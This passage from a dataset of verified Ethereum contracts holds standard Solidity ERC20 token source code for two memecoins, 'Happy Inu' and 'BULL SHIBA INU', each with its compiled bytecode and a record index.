(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e30, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract HappyInuToken is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Happy Inu | t.me/HappyInu", "HINU", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e30); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3860289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a8565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bca6025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611af06022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b816025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aab6023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b12602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506c0c9f2c9cd04674edea4000000060025411156117ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117fc816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b606021913960400191505060405180910390fd5b61199981604051806060016040528060228152602001611ace602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f081600254611a6090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611aa283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d17e44325e459c5fee7b4bd6fb5760fc1fdfccb122e53d914dc934d3e1386e6864736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,757
0x8dffceb7429967f18e5ca5199652c8d84d848b3c
/** *Submitted for verification at Etherscan.io on 2021-05-18 */ pragma solidity ^0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = 'BULL SHIBA INU'; _symbol = '$BUSHIB'; _decimals = 18; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract BULLSHIBAINU is ERC20,Ownable { constructor () public ERC20 () { _mint(msg.sender,100000000e18); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146102a2578063a9059cbb146102ce578063dd62ed3e146102fa578063f2fde38b14610328576100ea565b8063715018a61461026c5780638da5cb5b1461027657806395d89b411461029a576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc578063395093511461021a57806370a0823114610246576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f761034e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103e4565b604080519115158252519081900360200190f35b6101b4610460565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610466565b610204610529565b6040805160ff9092168252519081900360200190f35b6101986004803603604081101561023057600080fd5b506001600160a01b038135169060200135610532565b6101b46004803603602081101561025c57600080fd5b50356001600160a01b03166105da565b6102746105f5565b005b61027e6106b4565b604080516001600160a01b039092168252519081900360200190f35b6100f76106c8565b610198600480360360408110156102b857600080fd5b506001600160a01b038135169060200135610729565b610198600480360360408110156102e457600080fd5b506001600160a01b03813516906020013561076c565b6101b46004803603604081101561031057600080fd5b506001600160a01b0381358116916020013516610782565b6102746004803603602081101561033e57600080fd5b50356001600160a01b03166107ad565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b60006001600160a01b0383166103f957600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205461049490836108e1565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104c38484846108f6565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661054757600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461057590836108c8565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b6105fd6109b5565b60055461010090046001600160a01b03908116911614610664576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b60006001600160a01b03831661073e57600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461057590836108e1565b60006107793384846108f6565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6107b56109b5565b60055461010090046001600160a01b0390811691161461081c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108615760405162461bcd60e51b81526004018080602001828103825260268152602001806109ba6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156108da57600080fd5b9392505050565b6000828211156108f057600080fd5b50900390565b6001600160a01b03821661090957600080fd5b6001600160a01b03831660009081526020819052604090205461092c90826108e1565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461095b90826108c8565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212200df4cc8143aac57aaf3c20dae5cc2132a7782857d3e7c9e85d9566aba5126a1664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,758
